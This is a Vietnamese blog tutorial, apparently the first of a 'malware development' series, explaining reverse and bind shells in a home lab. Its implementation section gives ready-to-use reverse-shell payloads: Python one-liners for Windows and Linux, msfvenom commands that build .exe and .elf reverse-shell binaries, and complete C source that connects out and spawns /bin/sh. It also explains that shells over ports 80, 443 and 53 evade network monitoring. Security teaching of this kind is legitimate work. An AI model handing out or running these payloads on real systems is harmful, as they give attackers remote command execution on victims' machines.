## Mở đầu
:rocket: Chào mừng bạn đến với bài viết đầu tiên trong series về phát triển malware của mình! Trong bài viết này, chúng ta sẽ tập trung vào hai kỹ thuật quan trọng trong lĩnh vực hacking: reverse shell và bind shell. Nó không chỉ là kiến thức cơ bản mà còn là nền tảng quan trọng cho nhiều kỹ thuật tấn công mà mình sẽ giới thiệu trong các bài viết tiếp theo.
Hiểu rõ về reverse shell và bind shell sẽ giúp bạn nắm bắt cách malware tương tác với hệ thống mục tiêu, mở đầu cho sự hiểu biết sâu rộng về các kỹ thuật tấn công trong lĩnh vực hacking. Không còn thời gian chần chừ, chúng ta sẽ bắt đầu tìm hiểu về malware từ bài viết mở đầu này! :kissing:
<div style="text-align:center;">
<img src="https://www.reactiongifs.com/r/beavis-on-computer.gif" alt="">
</div>
## Cơ bản về Reverse Shell và Bind Shell
### :question: **Reverse shell là gì ?**
Reverse shell là một dạng remote shell được khởi tạo từ máy victim bằng cách kết nối trở lại máy attacker và tạo ra một bản shell của máy victim trên máy attacker. Thông thường, kỹ thuật này được sử dụng trong quá trình khai thác để kiểm soát máy từ xa.

### :eight_spoked_asterisk: **Các bước thực hiện reverse shell**
* **Bước 1:** attacker khai thác một lỗ hổng trên máy victim để thực hiện payload.
* **Bước 2:** attacker thiết lập lắng nghe kết nối trên port cụ thể để chờ đợi kết nối từ máy victim.
* **Bước 3:** khi payload được thực thi trên máy victim, nó tạo ra một kết nối ngược đến máy attacker, cung cấp cho attacker khả năng kiểm soát từ xa trên hệ thống victim thông qua một giao diện dòng lệnh hoặc một môi trường shell.
### :question: **Bind shell là gì ?**
* Bind shell là một dạng remote shell có sự tương tự với reverse shell, nhưng khác biệt ở cách khởi tạo. Trong bind shell, máy victim tạo ra một kết nối lắng nghe trên một cổng cụ thể và đợi máy attacker kết nối đến. Sau khi kết nối được thiết lập, bind shell tạo ra một bản shell của máy victim trên máy attacker, cung cấp khả năng kiểm soát từ xa trên hệ thống của victim cho attacker. Kỹ thuật này thường được sử dụng trong quá trình khai thác mạng để đạt được quyền kiểm soát từ xa một cách không được phép.

### :eight_spoked_asterisk: **Các bước thực hiện bind shell**
* **Bước 1:** attacker khai thác một lỗ hổng trên máy victim để thực hiện payload.
* **Bước 2:** payload trên máy victim thực hiện lắng nghe trên một port cụ thể để chờ máy attacker kết nối đến.
* **Bước 3:** attacker chủ động kết nối đến port đang lắng nghe ở máy victim để lấy được remote shell.
### :question: **Tại sao hacker lại ưa chuộng reverse shell hơn bind shell ?**
Chắc hẳn các bạn đang đọc bài viết này phần lớn đã nghe về khái niệm reverse shell nhưng có thể bind shell thì chưa. Nguyên nhân của việc này là vì reverse shell thường được sử dụng nhiều hơn bind shell trong hacking, nhưng vì sao nó lại được sử dụng nhiều hơn :thinking_face: ?
Lí do chính là vì reverse shell có khả năng tận dụng các outbound port phổ biến như port **80 (HTTP), 443 (HTTPS), 53 (DNS)** và các port khác. Việc sử dụng các outbound port thông thường giúp tránh sự chú ý từ các hệ thống giám sát bảo mật mạng, vì các kết nối trên các cổng như 80 và 443 thường được coi là an toàn và ít gây nghi ngờ. Còn ngược lại với bind shell, nó thường phải sử dụng các inbound port đặc biệt trên máy victim để lắng nghe kết nối đến từ máy attacker nên có thể dễ bị phát hiện :smiley:.
## Triển khai Reverse Shell và Bind Shell
Lý thuyết đủ rồi và giờ là lúc thực hành, hãy cùng mình thực hiện các cách thức phổ biến để tạo reverse shell và bind shell trong hacking :grin:. Trong các ví dụ tiếp theo, mình sử dụng máy `Kali Linux` để đóng vai trò là máy attacker và `Windows 10 x64` để làm máy victim.
### :eight_spoked_asterisk: **Triển khai bằng Netcat**
Một trong các cách phổ biến để thực hiện reverse shell và bind shell là sử dụng công cụ `netcat`, công cụ này có một option là -e cho phép một chương trình được thực thi ngay khi kết nối giữa được thiết lập.
Hình bên dưới mô tả cách thực hiện kỹ thuật reverse shell, máy attacker có địa chỉ ip là **10.0.2.15** đang lắng nghe ở port **4444** và máy victim chủ động kết nối đến máy attacker thông qua port này. Sau khi kết nối được thiết lập, máy victim cung cấp cho máy attacker một remote shell và từ đó attacker có thể điều khiển máy victim thông qua shell này.

Tương tự, hình bên dưới mô tả cách thực hiện kỹ thuật bind shell. Lúc này, máy victim lắng nghe kết nối trên port **4444** còn máy attacker chủ động kết nối đến port này. Khi kết nối được thiết lập thành công thì attacker cũng nhận được remote shell từ victim.

:::danger
:fire: Việc sử dụng netcat với option -e để tạo reverse shell và bind shell trong thực tế đã không còn được sử dụng bởi vì nhiều hệ thống và firewall ngày nay chặn hoặc giới hạn việc sử dụng option -e để tránh việc bị khai thác. Các rule của firewall thường có thể kiểm soát và chặn các truy cập sử dụng option này.
:::
### :eight_spoked_asterisk: **Triển khai bằng Python**
Ngoài netcat ra, ta còn có thể sử dụng python để tạo reverse shell. Nếu máy victim là máy windows thì dùng đoạn python bên dưới để tạo reverse shell.
```python!
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
```
Hình bên dưới là kết quả thu được khi chạy đoạn mã python ở máy victim. Có thể thấy, máy attacker nhận được remote shell khi đoạn mã python ở máy victim được thực thi.

Nếu máy victim là linux thì dùng đoạn mã python dưới đây để tạo reverse shell, quy trình thực hiện cũng tương tư như trên :face_with_cowboy_hat:.
```python!
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
:::warning
:zap: Hãy chắc chắn rằng bạn đã sửa địa chỉ IP và port trong đoạn mã Python ở trên thành thông tin của máy attacker trước khi chạy nó !
:::
### :eight_spoked_asterisk: **Triển khai bằng Meterpreter Shell**
Tiếp theo, chúng ta sẽ đề cập đến cách triển khai reverse shell bằng Meterpreter Shell, một payload mạnh mẽ của Metasploit Framework. Thật ra cách này cũng rất đơn giản, ta chỉ cần xác định các tham số cần thiết như ip, port rồi loại payload muốn sử dụng là xong.
Kết quả thu được thi thực hiện câu lệnh bên dưới là một file .EXE, khi chạy file này ở máy windows victim thì reverse shell sẽ được khởi tạo .
```powershell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
Hình bên dưới mô tả cách thức mà mình thực hiện reverse shell trên máy windows victim. Đầu tiên, mình sử dụng module meterpreter trong metasploit để tạo một chương trình `reverse.exe`. Sau đó mình tiến hành gửi chương trình này qua máy victim bằng netcat.

Cuối cùng, mình chạy `reverse.exe` ở máy victim thì máy attacker sẽ được remote shell như ở hình dưới.

Nếu victim là máy linux thì ta dùng câu lệnh dưới đây để tạo file .ELF để triển khai reverse shell. Quy trình thực hiện cũng giống như trên nên bạn đọc hãy tự thực hiện nhé.
```powershell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### :eight_spoked_asterisk: **Triển khai bằng C**
Cuối cùng, một cách triển khai reverse shell mà mình muốn giới thiệu trong bài viết là sử dụng ngôn ngữ lập trình C. Đoạn code bên dưới được mình sử dụng để triển khai reverse shell, hãy biên dịch nó thành chương trình thực thi với lệnh `gcc reverse_shell.c -o reverse_shell`.
Về chức năng, đoạn code này mở một kết nối TCP đến máy chủ có địa chỉ IP là 10.0.2.11 và cổng là 4444. Sau khi kết nối thành công, nó thực hiện redirection (chuyển hướng) các file descriptor tiêu chuẩn (stdin, stdout, stderr) của chương trình sang socket đã thiết lập. Cuối cùng, nó chạy một shell (/bin/sh) để cung cấp quyền truy cập từ xa cho máy attacker mà nó chủ động kết nối đến.
```cpp=
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.2.11");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
```
Sau khi biên dịch thành công, mình thực hiện lắng nghe kết nối ở port 4444 tại máy metasploiable2 và chạy `reverse_shell` ở máy kali linux. Lúc này, máy kali linux đóng vai trò là máy victim còn máy metasploitable 2 là máy attacker. Quá trình này được mô tả ở hình dưới.

:::info
:mega: Việc triển khai reverse shell bằng C mang lại nhiều lợi ích vì ta có khả năng tự tinh chỉnh và sửa đổi mã nguồn để phù hợp với môi trường tấn công cụ thể. Ngôn ngữ C nổi tiếng với hiệu suất cao và kích thước nhỏ, đồng thời chạy trên nhiều nền tảng khác nhau. Điều này tạo ra một lợi thế lớn khi triển khai reverse shell bằng các công cụ được xây dựng sẵn. Tuy nhiên, cần lưu ý rằng việc sử dụng C đòi hỏi kiến thức sâu rộng và có thể tạo ra mã nguồn phức tạp.
:::
## Kết luận
Bản thân reverse shell là một công cụ mạnh mẽ, có thể hỗ trợ quản lý hệ thống từ xa, nhưng đồng thời cũng có thể trở thành vũ khí nguy hiểm trong tay của những hacker có ý đồ xấu. :worried:
Hơn nữa, trong thế giới hacking, chúng ta không thể hoàn toàn ngăn chặn kỹ thuật reverse shell, trừ khi chúng ta quyết định không sử dụng internet nữa :smile:. Vì vậy, bằng cách hiểu biết sâu rộng về reverse shell và thực hiện các biện pháp bảo vệ, chúng ta có thể giảm thiểu rủi ro và bảo vệ hệ thống của mình khỏi những nguy cơ bảo mật không mong muốn.
Cuối cùng, ngoài cách triển khai reverse shell đã đề cập, còn nhiều phương pháp khác mà bạn có thể khám phá thông qua các nguồn tham khảo ở phần cuối bài viết. Hy vọng bài viết sẽ hữu ích cho những người quan tâm đến bảo mật mạng và nghiên cứu về mã độc.
:::warning
:zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn.
:::
## Tham khảo
Dưới đây là các nguồn tài liệu rất hay mà mình đã tham khảo:
* [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [Reverse Shell Tutorial](https://cocomelonc.github.io/tutorial/2021/09/11/reverse-shells.html)